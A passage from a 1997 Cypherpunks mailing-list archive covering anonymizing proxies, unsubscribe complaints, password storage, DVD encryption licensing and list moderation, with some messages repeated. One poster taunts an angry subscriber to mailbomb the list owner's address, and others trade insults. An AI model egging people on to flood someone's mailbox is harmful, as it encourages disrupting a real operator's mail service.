abortion, there are better fora. -- Marshall Marshall Clow Aladdin Systems Warning: Objects in calendar are closer than they appear. From jer+ at andrew.cmu.edu Tue Feb 18 14:12:24 1997 From: jer+ at andrew.cmu.edu (Jeremiah A Blatz) Date: Tue, 18 Feb 1997 14:12:24 -0800 (PST) Subject: Any more like www.anonymizer.com ?? Message-ID: <199702182212.OAA11971@toad.com> -----BEGIN PGP SIGNED MESSAGE----- edgarswank at juno.com (Edgar W Swank) writes: > Does anyone have a list of web proxies for anonymous surfing? > > I already know about www.anonymizer.com, and there was a > "canadianizer" that would alter text to make it more "Canadian", > but that is now apparently defunct. There's a Zippifier (inserts Zippy the Pinhead quotes) at: http://www.metahtml.com/apps/zippy/welcome.mhtml Jer "standing on top of the world/ never knew how you never could/ never knew why you never could live/ innocent life that everyone did" -Wormhole -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQB1AwUBMwn7vskz/YzIV3P5AQEOwgL/RhNiyJUBtcVa8o2mqmflXRDJ89QSoYHL y7gLjhzY30/VXWUL14/m3jn3kN2EUrD9XKA12bauvST769TeRw0AAUepIsijrUAr xKDCG2Jqe4ThLS56AuTmiJQVkDLBDJx6 =gLdy -----END PGP SIGNATURE----- From robertn at dm.net.lb Tue Feb 18 14:13:16 1997 From: robertn at dm.net.lb (Robert Nadra) Date: Tue, 18 Feb 1997 14:13:16 -0800 (PST) Subject: Stop sending me your shit Message-ID: <199702182213.OAA11991@toad.com> Get me off your list or else ..... . Get me out your fuckin list assholes. From lharrison at mhv.net Tue Feb 18 14:14:20 1997 From: lharrison at mhv.net (Lynne L. Harrison) Date: Tue, 18 Feb 1997 14:14:20 -0800 (PST) Subject: Address -- Invalid (was Re: message to USSA Senate) (fwd) Message-ID: <199702182214.OAA12019@toad.com> -----BEGIN PGP SIGNED MESSAGE----- Mime-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 7bit To: alexandr at win.tue.nl, cypherpunks at toad.com, home at collegehill.com Date: Tue Feb 18 13:49:43 1997 I checked with the people at College Hill Internet by forwarding your msg to them to which they replied. **N.B. - College Hill did my page so I know them to be reputable. Long story short, they worked on a web page for a particular political campaign and, during the process of doing the web consulting, they briefly set up an e-mail account for them on their server. Since then, they have been treated to a regular supply of spam from various persons who think that is still the Senator's address. They've received threatening spam (about 200 hundred copies of it) which was bounced from them back to senders who in this case weren't even the senders, etc. etc. etc. The headers reflect that they've been forged. Understandably, College Hill is concerned that, those people who might not understand the headers that well, will conclude College Hill as being the spammers - which could damage their reputation. Hope this answers (at least part of) your question. Lynne -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMwn5yD5A4+Z4Wnt9AQG5GQP+Nlf5REseGJ3Nij3Xq76A7Lkcv38vbkS8 iE0XUyJIzZ+B9sixuBHRYCeTHiX8hFRUUMgOCZWFqoXYjN3JWvIbz8W3hFV0LZtf oz7NBE3WEeM6jzDPZlRN/KDiNoMgsPDLgcP0+3P9PbOFln39jc+vvWDjK0uKl3om YBQ7DhCyccs= =PtAp -----END PGP SIGNATURE----- From roach_s at alph.swosu.edu Tue Feb 18 14:16:02 1997 From: roach_s at alph.swosu.edu (Sean Roach) Date: Tue, 18 Feb 1997 14:16:02 -0800 (PST) Subject: Anyone have the complete info on CP list alternatives? Message-ID: <199702182215.OAA12076@toad.com> At 07:58 PM 2/17/97 -0600, Igor Chudov wrote: ... >It is a very good objections. I would like readers to speak up and say >their word for or against forwarding the list messages to >alt.cypherpunks. If a significant number of people objects (2-3 is >enough) I will disable this feature. As to my two cents, I like the idea, but would ask that the usenet feed have the scrambled address described by Cynthia H. Brown. I don't really care to have a box full of "YOU may HAVE JUST WON ONE MILLION DOLLARS!", if the system described by Mrs. Brown works, I would prefer this. From eickfarm at alpha.shianet.org Tue Feb 18 14:16:09 1997 From: eickfarm at alpha.shianet.org (eickfarm) Date: Tue, 18 Feb 1997 14:16:09 -0800 (PST) Subject: Military/Intelligence URL Message-ID: <199702182216.OAA12092@toad.com> >Return-Path: >Date: Tue, 11 Feb 1997 03:22:32 -0500 >From: harka at nycmetro.com >To: cypherpunks at toad.com >Subject: Military/Intelligence URL >Sender: owner-cypherpunks at toad.com >Precedence: bulk >X-UIDL: b0eef8d389443636415db00da7508d3f > >-----BEGIN PGP SIGNED MESSAGE----- > >Here an page, that deals with various intelligence and military >institutions... > > > In> Subject: GOVT> AJAX, Government and Military Intelligence > > In> http://204.180.198.56:80/ajax/ajax.htm > > In> United States and International Government Military and Intelligence > In> Agency Access > > In> Certain Locations Or Sections Thereof May Be Closed To > In> Unauthorized Use. > In> PLEASE READ ACCESS WARNINGS, IF ANY, AND ABIDE BY THEM. > In> (If You Prefer A Frameless Environment, Click HERE.) > In> Last update: 7 FEBRUARY 1997. All accesses verified at > In> time of inclusion. > > In> CIA Central Intelligence Agency > In> DIA Defense Intelligence Agency > In> NRO National Reconnaissance Office > In> NSA National Security Agency > In> SS Secret Service > In> USCSOI U.S. Customs Service Office of Investigation > > In> ATF Bureau of Alcohol, Tobacco and Firearms > In> BOP Federal Bureau of Prisons > In> CID U.S. Army Criminal Investigation Command > In> COURTS U.S. Federal Courts > In> FBI Federal Bureau of Investigation > In> FINCEN Financial Crimes Enforcement Network > In> FLETC Federal Law Enforcement Training Center > In> MARSHALS U.S. Marshals Service > In> NIJ National Institute of Justice > In> ACC Air Combat Command > In> AFSPC Air Force Space Command > In> BMDO Ballistic Missile Defense Organization > In> DEFENSE Defense Department > In> DISA Defense Information Systems Agency > In> DRMS Defense Reutilization and Marketing Service > In> DTIC Defense Technical Information Center > In> JCS Joint Chiefs of Staff > In> NAVWAN Naval Aviation Systems Team Wide Area Network > In> NAWCWPNS Naval Air Warfare Center Weapons Division > In> NSWC Naval Surface Warfare Center > In> USAFA United States Air Force Academy > > In> AHPCRC Army High Performance Computing Research Center > In> ARPA Advanced Research Projects Agency > In> LABLINK U.S. Department of Defense Laboratory System > In> NRL The Naval Research Laboratory RL > In> USAF Rome Laboratory for C41 Technology > In> USACIL U.S. Army Criminal Investigation Laboratory > > In> NATGUARD Army and Air National Guards > In> USA United States Army > In> USAF United States Air Force > In> USCG United States Coast Guard > In> USMC United States Marine Corps > In> USN United States Navy > > In> EPA U.S. Environmental Protection Agency > In> FAA Federal Aviation Administration Technical Center > In> FCC Federal Communications Commission > In> FTC Federal Trade Commission > In> NMFS National Marine Fisheries Service > In> NRC Nuclear Regulatory Commission > In> SEC Securities and Exchange Commission > In> CDC Centers for Disease Control and Prevention > In> CENSUS U.S. Department of Commerce Bureau of the Census > In> CONGRESS U.S. House of Representatives > In> CUSTOMS U.S. Customs Service > In> DOE U.S. Department of Energy National Laboratories > In> & Programs > In> EXECUTIVE The White House > In> FDIC Federal Deposit Insurance Corporation > In> FEMA Federal Emergency Management Agency > In> FMS Financial Management Service > In> GPO U.S. Government Printing Office > In> GSA U.S. General Services Administration > In> HHS U.S. Department of Health and Human Services > In> HPCC NOAA High Performance Computing and > In> Communications IRS Internal Revenue Service > In> JUSTICE Justice Department > In> NARA National Archives and Records Administration > In> NASA National Aeronautics and Space Administration > In> NCDC National Climatic Data Center > In> NIMH National Institute of Mental Health > In> NOAA National Oceanic & Atmospheric Administration > In> NSF National Science Foundation > In> NTIS National Technical Information Service > In> SBA Small Business Administration > In> SEL Space Environment Laboratory > In> STATE State Department > In> TREASURY Treasury Department > In> USCODE U.S. House of Representatives > In> Internet Law Library U.S. Code > > In> CANADA > In> CSE Communications Security Establishment > In> CISC Criminal Intelligence Service Canada > In> CSIS Canadian Security Intelligence Service > In> SIRC Security Intelligence Review Committee > In> UNITED KINGDOM CIM Central Intelligence Machinery > > In> CANADA > In> DJC Department of Justice of Canada > In> FORENSIC The Forensic Web > In> RCMP Royal Canadian Mounted Police > In> SGC Solicitor General of Canada > > In> UNITED NATIONS UNCPCJ United Nations Crime Prevention & > In> Criminal Justice > > In> CANADA > In> CFC Canadian Forces College > In> DREO Defense Research Establishment, Ottawa > > In> UNITED KINGDOM > In> ARMY The British Army > In> CDA Centre for Defence Analysis > In> DRA Defence Research Agency > > In> NATO North Atlantic Treaty Organization > In> SACLANT Supreme Allied Commander, Atlantic > In> SHAPE Supreme Headquarters Allied Powers Europe > > In> BECCA Business Espionage Controls & Countermeasures > In> Association > In> CRYPTOLOG Internet Guide to Cryptography > In> DCJFTF Washington, D.C. Joint Fugitive Task Force > In> WANTED "The World's Most Wanted" (Fugitives and > In> Unsolved Crimes) > > >Ciao > >Harka > >/*************************************************************/ >/* This user supports FREE SPEECH ONLINE ...more info at */ >/* and PRIVATE ONLINE COMMUNICATIONS! --> http://www.eff.org */ >/* E-mail: harka at nycmetro.com (PGP-encrypted mail preferred) */ >/* PGP public key available upon request. [KeyID: 04174301] */ >/* F-print: FD E4 F8 6D C1 6A 44 F5 28 9C 40 6E B8 94 78 E8 */ >/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/ >/* May there be peace in this world, may all anger dissolve */ >/* and may all living beings find the way to happiness... */ >/*************************************************************/ > >-----BEGIN PGP SIGNATURE----- >Version: 2.6.2 > >iQEVAgUBMv7aGjltEBIEF0MBAQF1CAf+MyLUa3sBKCAuxhzCZ0tQqP3jxAjQpIuV >WdsTCW9L3jPwLdZ9BmqeqAuaIU4JQzCpEx5bgKdzGThF5mG2U4XaeOcD4gBpWZyz >sYOZzcoYNe6CX6m55a9UqiEpZu4mK9TBkO7OXSfV3J3CygVAbo7zjC+lW2r7L9F8 >3vTqrxbOCb3SMEl4k3L5QVtKOGVSh7MMIesBtmQ2SNhhvSfrdFYBnCcvtmnvYi8j >6YpI5wrkiNzueuFwoD9YoRR7UugE5kcCyJ3FFHym7RzQUL8XsHRhsk1XoTBHvXni >2Tfno7DH5+T4FuVZTWeaAVhD7OTfK2n0lBCf0x2I5F1iEUurbdddig== >=s4om >-----END PGP SIGNATURE----- > > >If encryption is outlawed, only outlaws will have encryption... > > > > >------------------------------ **********WHY AM I RECEIVING 346 MESSAGES THAT ORIGINATED WITH CYPHERPUNKS at TOAD.COM? I AM UNABLE TO USE MY E=MAIL BECAUSE OF THE MESSAGES THAT HAVE ACCUMULATED. EVERY SINGLE ONE OF THESE MESSAGES REFERENCES YOUR ORGANIZATION. I HAVE NEVER ACCESSED ANYTHING THAT HAD TO DO WITH YOUR GROUP. PLEASE ASSIST ME IN REMOVING THE ROUTING OF THESE MESSAGES TO MY E-MAIL. OTHERWISE, I WILL BE FORCED TO CANCEL MY SUBSCRIPTION TO THE INTERNET. THANK YOU. EICKFARM at SHIANET.ORG From jya at pipeline.com Tue Feb 18 14:26:27 1997 From: jya at pipeline.com (John Young) Date: Tue, 18 Feb 1997 14:26:27 -0800 (PST) Subject: JSC Security Report Message-ID: <199702182226.OAA12236@toad.com> "Redefining Security," a 1994 report to the DoD and the CIA by The Joint Security Commission, offers bountiful information on US security strategies, policies, agencies, methodologies, and techniques, you name it, with designs for the future. http://jya.com/jcs.htm (454K) If you ever wanted to talk like the spooks, parrot this dictionary of NatSec ebonics. From bryce at digicash.com Tue Feb 18 14:26:27 1997 From: bryce at digicash.com (Bryce) Date: Tue, 18 Feb 1997 14:26:27 -0800 (PST) Subject: article on "Wired News" Message-ID: <199702182226.OAA12235@toad.com> -----BEGIN PGP SIGNED MESSAGE----- "http://www.wired.com/news/" -- headline: " Monday Homeless Cypherpunks Turn to Usenet The 1,400-strong group splinters into three alt. subgroups and a mailing list - but they have plans for staying united. " "STAYING united"? Ha ha ha ha! That's funny! Keep in touch, y'all. :-) Bryce PGP sig follows -----BEGIN PGP SIGNATURE----- Version: 2.6.2i Comment: Auto-signed under Unix with 'BAP' Easy-PGP v1.1b2 iQB1AwUBMwoIlkjbHy8sKZitAQHccQMAuN28CdLh8r7qbJ08IFHEPihY0EwnUJu3 kMauwXlNdhI+VzNpBnQLkmtUdpGvTKbx2Il77fWrHJD+NM/AuEOY2wfdWJlimMZ5 zvRROoEJwG/dTS4BvsbQFqt62dZAiPH6 =dpG6 -----END PGP SIGNATURE----- From Ed.Falk at Eng.Sun.COM Tue Feb 18 14:26:34 1997 From: Ed.Falk at Eng.Sun.COM (Ed Falk) Date: Tue, 18 Feb 1997 14:26:34 -0800 (PST) Subject: Interesting question: how to safely keep passwords online Message-ID: <199702182226.OAA12246@toad.com> Here's a question that's been on my mind lately: Often, you like to keep external passwords stored on your personal computer. As a quick example, Eudora will remember your POP password for you so you don't have to enter it every time. Obviously, Eudora keeps this on disk somewhere. The question is: is there any (relatively) safe way to do this? Obviously, Eudora encrypt the saved password with some secret key, but this key could probably be found by examining the code. A slight improvement would be for Eudora to generate an encryption key on the fly based on some external system state, but this is also susceptible to reverse-engineering. -ed falk From vin at shore.net Tue Feb 18 14:26:47 1997 From: vin at shore.net (Vin McLellan) Date: Tue, 18 Feb 1997 14:26:47 -0800 (PST) Subject: Constitution and a Right to Privacy Message-ID: <199702182226.OAA12254@toad.com> Marshall Clow wrote: >Let's not start this.... >If we are going to discuss privacy, that's fine. >It we are going to discuss abortion, there are better fora. Right, Marshall. I was attempting to respond directly to Tim's comment, but I too have no desire to let the end of C'punks be yet another sinkhole Abortion Debate. Foil at guard. I'll subside and let any riptide response roll over me;-). (Jeeze! Anyone else feel like these are the Final Days, like when a company goes bankrupt, or graduation day or the like?? I hope one of these C'punkish alternatives will provide an opportunity for some of the same thoughtful and stimulating engagements that toad.com hosted.) Respect to all, pro-choice and pro-life, _Vin From minow at apple.com Tue Feb 18 14:27:04 1997 From: minow at apple.com (Martin Minow) Date: Tue, 18 Feb 1997 14:27:04 -0800 (PST) Subject: Why Digital Video Disks are late to market Message-ID: <199702182227.OAA12266@toad.com> http://techweb.cmp.com/eet/news/97/942news/encryp.html To summarize, the Digital Video Disk standard contains an encryption standard for copyright and anti-piracy protection. however, "some U.S. PC and silicon vendors have just about abandoned hope of keeping to their revised launch schedules for DVD-enabled systems." ... as far as anybody knows, "none of the U.S. PC vendors today has a license to use the DVD-decryption algorithm" in software. "We all know the situation; we don't have a license," said Michael Moradzadeh, program manager of Intel's copy-protection task force. A solution may be in the offing within days. Some sources said late last week that Matsushita [who owns license rights] and key U.S. computer companies may resolve the software-licensing issues by the end of this week. The PC industry seeks amendments to the licensing-agreement language that would result in equivalent treatment of software- and hardware-based CSS decryption. ... there apparently has been some speculation among the U.S. PC community that Matsushita may be stonewalling on the software-licensing issue so that it can establish its hardware-based decryption solution in the marketplace. --- Nothing in the article suggests that "national interests" are involved. Martin Minow minow at apple.com From azur at netcom.com Tue Feb 18 14:33:40 1997 From: azur at netcom.com (Steve Schear) Date: Tue, 18 Feb 1997 14:33:40 -0800 (PST) Subject: ISP access fee rebuttal Message-ID: If you are interested in the on-going debate over ISP access charges, I sugest you look at a newly published report perpared for the Internet Access Coalition. It stomps on the RBOC assertions that dial-in access to the Net is having a generally negative impact on their telephone networks from both performance and financial asapects. http://www2.itic.org/itic/eti_toc.html --Steve From tcmay at got.net Tue Feb 18 14:36:41 1997 From: tcmay at got.net (Timothy C. May) Date: Tue, 18 Feb 1997 14:36:41 -0800 (PST) Subject: Constitution and a Right to Privacy Message-ID: <199702182236.OAA12443@toad.com> At 2:51 PM -0500 2/18/97, Vin McLellan wrote: > Marshall Clow wrote: > >>Let's not start this.... > >>If we are going to discuss privacy, that's fine. >>It we are going to discuss abortion, there are better fora. > > Right, Marshall. I was attempting to respond directly to Tim's >comment, but I too have no desire to let the end of C'punks be yet another >sinkhole Abortion Debate. Foil at guard. I'll subside and let any riptide >response roll over me;-). Then why did you begin an abortion debate? I made no claims one way or another about abortion, but cited the issue as the main place the "right to privacy" issue has come to the fore. And I said I found the argument uncompelling. I did not say I was against abortion, for abortion, or, for that matter, for or against infanticide. > (Jeeze! Anyone else feel like these are the Final Days, like when a >company goes bankrupt, or graduation day or the like?? I hope one of these >C'punkish alternatives will provide an opportunity for some of the same >thoughtful and stimulating engagements that toad.com hosted.) Unsurprisingly, I've gotten some of the messages from folks I often get when people dislike some post I've made. They go like this: "Tim, I really like some of your posts. But, Jeez, give it a rest on foobar! Can't you go back to writing about lahdidah?" In other words, the reader wishes I would write only about what he or she is interested in. Well, pay me my consulting rate and I'll do just that. I've written many thousands of articles over the past 4.5 years...some of them very long articles, some very short, most of medium length. (I despise one-line repartee, and I'm glad our list has never fallen into this mode as so many other lists have.) I write about what I find interesting. You all know where the Delete key is. (Of course, a fairly large fraction of my recent posts have been deleted for you by Sandy, who sends many of my posts to neither the Main list nor the Flames list. Bet a lot of you didn't know this, did you?) --Tim May > Respect to all, pro-choice and pro-life, > > _Vin Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From mark at unicorn.com Tue Feb 18 14:48:06 1997 From: mark at unicorn.com (Mark Grant) Date: Tue, 18 Feb 1997 14:48:06 -0800 (PST) Subject: MagicMoney In-Reply-To: <199702161525.HAA18339@toad.com> Message-ID: On Sun, 16 Feb 1997, hjk wrote: > I finally got a copy of MagicMoney (from ftp://utopia.hacktic.nl). > It is just the code (compiling without error), but there is no README or > documentation at all.Can someone give me a hint,what to do with this > package? Is there a documentation somesite? All the documentation that came with my copy is at http://www.unicorn.com/pgp/mm-readme.html That was enough for me to set it up and play with it a couple of years ago. Mark "Not Pr0duct Cypher" Grant |-----------------------------------------------------------------------| |Mark Grant M.A., U.L.C. EMAIL: mark at unicorn.com | |WWW: http://www.unicorn.com/ MAILBOT: bot at unicorn.com | |-----------------------------------------------------------------------| From roach_s at alph.swosu.edu Tue Feb 18 14:54:16 1997 From: roach_s at alph.swosu.edu (Sean Roach) Date: Tue, 18 Feb 1997 14:54:16 -0800 (PST) Subject: Stop sending me your shit Message-ID: <199702182254.OAA12656@toad.com> At 02:04 PM 2/18/97 -0500, Alec wrote: >At 08:38 PM 2/18/97 +0200, you wrote: >: >:Get me off your list or else ..... . Get me out your fuckin list assholes. > >Certainly you learned on your mother's knee that you can get more of what >you want from other people with kindness rather than anger and rudeness. >What did she say about using foul words? Lets think about these things. > >You may be in for a long stay here. These folks can be downright nasty >sometimes. > ... Personally, I just responded to one persons statement, (the one with the modicum of courtesy) and decided to let this looser languish, (because of his foul additude). I think that by this, maybe, he'll learn not to bite the hand of the persons who he is asking for help from. It also gives me a none too innocent feeling of graditude to know that this person will suffer a little longer, all because I decided that I didn't like him. From roach_s at alph.swosu.edu Tue Feb 18 14:54:23 1997 From: roach_s at alph.swosu.edu (Sean Roach) Date: Tue, 18 Feb 1997 14:54:23 -0800 (PST) Subject: [noise] Re: JSC Security Report Message-ID: <199702182254.OAA12663@toad.com> At 03:29 PM 2/18/97 -0500, John Young wrote: >"Redefining Security," a 1994 report to the DoD and the CIA by >The Joint Security Commission, offers bountiful information >on US security strategies, policies, agencies, methodologies, >and techniques, you name it, with designs for the future. > > http://jya.com/jcs.htm (454K) > >If you ever wanted to talk like the spooks, parrot this dictionary >of NatSec ebonics. Great, I'll look into it. I've been meaning to get some info on the like. You just can't convince someone that you are one of them unless you talk like them. And I would like to get all relevant information to any investigations into my activities faxed to the nearest Kinko's. From zachb at netcom.com Tue Feb 18 16:45:16 1997 From: zachb at netcom.com (Z.B.) Date: Tue, 18 Feb 1997 16:45:16 -0800 (PST) Subject: Removal from newsgroup listing In-Reply-To: <33093394.41F3@earthlink.net> Message-ID: On Mon, 17 Feb 1997, Terry L. Davis wrote: > I'm not certain how I got on the cypherpunks newlist, but it's way over > my head. Please removed terryld at earthlink.com from cypherpunks at toad.com > Thanks > Another thing the new list needs...verification of subscribe requests. Zach Babayco zachb at netcom.com <-------finger for PGP public key If you need to know how to set up a mail filter or defend against emailbombs, send me a message with the words "get helpfile" (without the " marks) in the SUBJECT: header, *NOT THE BODY OF THE MESSAGE!* I have several useful FAQs and documents available. From dlv at bwalk.dm.com Tue Feb 18 17:10:37 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Tue, 18 Feb 1997 17:10:37 -0800 (PST) Subject: Stop sending me your shit In-Reply-To: <199702182212.OAA11924@toad.com> Message-ID: Robert Nadra writes: > Get me off your list or else ..... . Get me out your fuckin list assholes. Oe else what? I bet you don't have the balls to mailbomb gnu at toad.com! --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From mark at unicorn.com Tue Feb 18 17:11:32 1997 From: mark at unicorn.com (Mark Grant) Date: Tue, 18 Feb 1997 17:11:32 -0800 (PST) Subject: MagicMoney Message-ID: <199702190111.RAA14461@toad.com> On Sun, 16 Feb 1997, hjk wrote: > I finally got a copy of MagicMoney (from ftp://utopia.hacktic.nl). > It is just the code (compiling without error), but there is no README or > documentation at all.Can someone give me a hint,what to do with this > package? Is there a documentation somesite? All the documentation that came with my copy is at http://www.unicorn.com/pgp/mm-readme.html That was enough for me to set it up and play with it a couple of years ago. Mark "Not Pr0duct Cypher" Grant |-----------------------------------------------------------------------| |Mark Grant M.A., U.L.C. EMAIL: mark at unicorn.com | |WWW: http://www.unicorn.com/ MAILBOT: bot at unicorn.com | |-----------------------------------------------------------------------| From zachb at netcom.com Tue Feb 18 17:11:35 1997 From: zachb at netcom.com (Z.B.) Date: Tue, 18 Feb 1997 17:11:35 -0800 (PST) Subject: Removal from newsgroup listing Message-ID: <199702190111.RAA14464@toad.com> On Mon, 17 Feb 1997, Terry L. Davis wrote: > I'm not certain how I got on the cypherpunks newlist, but it's way over > my head. Please removed terryld at earthlink.com from cypherpunks at toad.com > Thanks > Another thing the new list needs...verification of subscribe requests. Zach Babayco zachb at netcom.com <-------finger for PGP public key If you need to know how to set up a mail filter or defend against emailbombs, send me a message with the words "get helpfile" (without the " marks) in the SUBJECT: header, *NOT THE BODY OF THE MESSAGE!* I have several useful FAQs and documents available. From roach_s at ALPH.SWOSU.EDU Tue Feb 18 17:11:37 1997 From: roach_s at ALPH.SWOSU.EDU (Sean Roach) Date: Tue, 18 Feb 1997 17:11:37 -0800 (PST) Subject: Anyone have the complete info on CP list alternatives? Message-ID: <199702190111.RAA14465@toad.com> At 07:58 PM 2/17/97 -0600, Igor Chudov wrote: ... >It is a very good objections. I would like readers to speak up and say >their word for or against forwarding the list messages to >alt.cypherpunks. If a significant number of people objects (2-3 is >enough) I will disable this feature. As to my two cents, I like the idea, but would ask that the usenet feed have the scrambled address described by Cynthia H. Brown. I don't really care to have a box full of "YOU may HAVE JUST WON ONE MILLION DOLLARS!", if the system described by Mrs. Brown works, I would prefer this. From roach_s at alph.swosu.edu Tue Feb 18 17:11:40 1997 From: roach_s at alph.swosu.edu (Sean Roach) Date: Tue, 18 Feb 1997 17:11:40 -0800 (PST) Subject: [noise] Re: JSC Security Report Message-ID: <199702190111.RAA14466@toad.com> At 03:29 PM 2/18/97 -0500, John Young wrote: >"Redefining Security," a 1994 report to the DoD and the CIA by >The Joint Security Commission, offers bountiful information >on US security strategies, policies, agencies, methodologies, >and techniques, you name it, with designs for the future. > > http://jya.com/jcs.htm (454K) > >If you ever wanted to talk like the spooks, parrot this dictionary >of NatSec ebonics. Great, I'll look into it. I've been meaning to get some info on the like. You just can't convince someone that you are one of them unless you talk like them. And I would like to get all relevant information to any investigations into my activities faxed to the nearest Kinko's. From roach_s at alph.swosu.edu Tue Feb 18 17:11:53 1997 From: roach_s at alph.swosu.edu (Sean Roach) Date: Tue, 18 Feb 1997 17:11:53 -0800 (PST) Subject: Stop sending me your shit Message-ID: <199702190111.RAA14473@toad.com> At 02:04 PM 2/18/97 -0500, Alec wrote: >At 08:38 PM 2/18/97 +0200, you wrote: >: >:Get me off your list or else ..... . Get me out your fuckin list assholes. > >Certainly you learned on your mother's knee that you can get more of what >you want from other people with kindness rather than anger and rudeness. >What did she say about using foul words? Lets think about these things. > >You may be in for a long stay here. These folks can be downright nasty >sometimes. > ... Personally, I just responded to one persons statement, (the one with the modicum of courtesy) and decided to let this looser languish, (because of his foul additude). I think that by this, maybe, he'll learn not to bite the hand of the persons who he is asking for help from. It also gives me a none too innocent feeling of graditude to know that this person will suffer a little longer, all because I decided that I didn't like him. From azur at netcom.com Tue Feb 18 17:13:15 1997 From: azur at netcom.com (Steve Schear) Date: Tue, 18 Feb 1997 17:13:15 -0800 (PST) Subject: ISP access fee rebuttal Message-ID: <199702190113.RAA14487@toad.com> If you are interested in the on-going debate over ISP access charges, I sugest you look at a newly published report perpared for the Internet Access Coalition. It stomps on the RBOC assertions that dial-in access to the Net is having a generally negative impact on their telephone networks from both performance and financial asapects. http://www2.itic.org/itic/eti_toc.html --Steve From drink at aa.net Tue Feb 18 17:30:45 1997 From: drink at aa.net (! Drive) Date: Tue, 18 Feb 1997 17:30:45 -0800 (PST) Subject: Any more like www.anonymizer.com ?? Message-ID: <3.0.32.19691231160000.006a1e14@aa.net> At 01:58 PM 2/18/97 -0500, Jeremiah A Blatz might have said: >edgarswank at juno.com (Edgar W Swank) writes: >> Does anyone have a list of web proxies for anonymous surfing? >> >> I already know about www.anonymizer.com, and there was a >> "canadianizer" that would alter text to make it more "Canadian", >> but that is now apparently defunct. > >There's a Zippifier (inserts Zippy the Pinhead quotes) at: >http://www.metahtml.com/apps/zippy/welcome.mhtml > A proposal and prototype of a different anonymity mechanism can be found at: http://www.itd.nrl.navy.mil/ITD/5540/projects/onion-routing/overview.html From drink at aa.net Tue Feb 18 17:41:37 1997 From: drink at aa.net (! Drive) Date: Tue, 18 Feb 1997 17:41:37 -0800 (PST) Subject: Any more like www.anonymizer.com ?? Message-ID: <199702190141.RAA14890@toad.com> At 01:58 PM 2/18/97 -0500, Jeremiah A Blatz might have said: >edgarswank at juno.com (Edgar W Swank) writes: >> Does anyone have a list of web proxies for anonymous surfing? >> >> I already know about www.anonymizer.com, and there was a >> "canadianizer" that would alter text to make it more "Canadian", >> but that is now apparently defunct. > >There's a Zippifier (inserts Zippy the Pinhead quotes) at: >http://www.metahtml.com/apps/zippy/welcome.mhtml > A proposal and prototype of a different anonymity mechanism can be found at: http://www.itd.nrl.navy.mil/ITD/5540/projects/onion-routing/overview.html From drink at aa.net Tue Feb 18 17:56:43 1997 From: drink at aa.net (! Drive) Date: Tue, 18 Feb 1997 17:56:43 -0800 (PST) Subject: Any more like www.anonymizer.com ?? Message-ID: <199702190156.RAA15148@toad.com> At 01:58 PM 2/18/97 -0500, Jeremiah A Blatz might have said: >edgarswank at juno.com (Edgar W Swank) writes: >> Does anyone have a list of web proxies for anonymous surfing? >> >> I already know about www.anonymizer.com, and there was a >> "canadianizer" that would alter text to make it more "Canadian", >> but that is now apparently defunct. > >There's a Zippifier (inserts Zippy the Pinhead quotes) at: >http://www.metahtml.com/apps/zippy/welcome.mhtml > A proposal and prototype of a different anonymity mechanism can be found at: http://www.itd.nrl.navy.mil/ITD/5540/projects/onion-routing/overview.html From jimbell at pacifier.com Tue Feb 18 19:38:51 1997 From: jimbell at pacifier.com (jim bell) Date: Tue, 18 Feb 1997 19:38:51 -0800 (PST) Subject: alt.cypherpunks.ebonics Message-ID: <199702190338.TAA12907@mail.pacifier.com> At 11:16 AM 2/18/97 -0500, Alec wrote: >A friend, who, in the CP tradition requested to remain anonymous, and I were >doing an informal analysis of those subjects/topics which over the past year >generated the most discussion and, by implication, interest on the CP list. >Since the list at that time was reportedly unmoderated, we felt some weight >should be given to members' interests/desires as measured by their posts, >regardless of the applicability to the list topic. > >With the exceptions of AP (oh so clearly way off-topic), Quite to the contrary, AP is NOT "oh so clearly way off-topic." First AP, as I've sketched it uses many of the encryption/digital-signature/verification techniques which are often discussed here and are essentially universally agreed as being on-topic. Secondly, the _PROSPECT_ of AP (or, if you'd like, more generally, the whole field of cryptoanarchy, which disables the State by making it unnecessary and powerless) would be and probably is most of the motivation for the various "let's control encryption" proposals that the US government and others have pushed over the last few years. On the other hand, it is equally clear that while AP is "on-topic," nevertheless it is quite distinctly distasteful to a few people around here who seem to believe that the _political_ and _technical" implications of good encryption can be kept safely separated. It is obvious that you are one of those people. It is equally obvious that you are not honest enough to admit that. So rather than say merely "I don't like it" you try to embellish your claims with "oh so clearly way off-topic." Jim Bell jimbell at pacifier.com From PIONEER146 at aol.com Tue Feb 18 20:00:08 1997 From: PIONEER146 at aol.com (PIONEER146 at aol.com) Date: Tue, 18 Feb 1997 20:00:08 -0800 (PST) Subject: Removal from newsgroup listing Message-ID: <970218225859_-1574979273@emout14.mail.aol.com> Please remove from the mailing list, please. Thank you. Pioneer146 at aol.com From jimbell at pacifier.com Tue Feb 18 20:26:29 1997 From: jimbell at pacifier.com (jim bell) Date: Tue, 18 Feb 1997 20:26:29 -0800 (PST) Subject: alt.cypherpunks.ebonics Message-ID: <199702190426.UAA17296@toad.com> At 11:16 AM 2/18/97 -0500, Alec wrote: >A friend, who, in the CP tradition requested to remain anonymous, and I were >doing an informal analysis of those subjects/topics which over the past year >generated the most discussion and, by implication, interest on the CP list. >Since the list at that time was reportedly unmoderated, we felt some weight >should be given to members' interests/desires as measured by their posts, >regardless of the applicability to the list topic. > >With the exceptions of AP (oh so clearly way off-topic), Quite to the contrary, AP is NOT "oh so clearly way off-topic." First AP, as I've sketched it uses many of the encryption/digital-signature/verification techniques which are often discussed here and are essentially universally agreed as being on-topic. Secondly, the _PROSPECT_ of AP (or, if you'd like, more generally, the whole field of cryptoanarchy, which disables the State by making it unnecessary and powerless) would be and probably is most of the motivation for the various "let's control encryption" proposals that the US government and others have pushed over the last few years. On the other hand, it 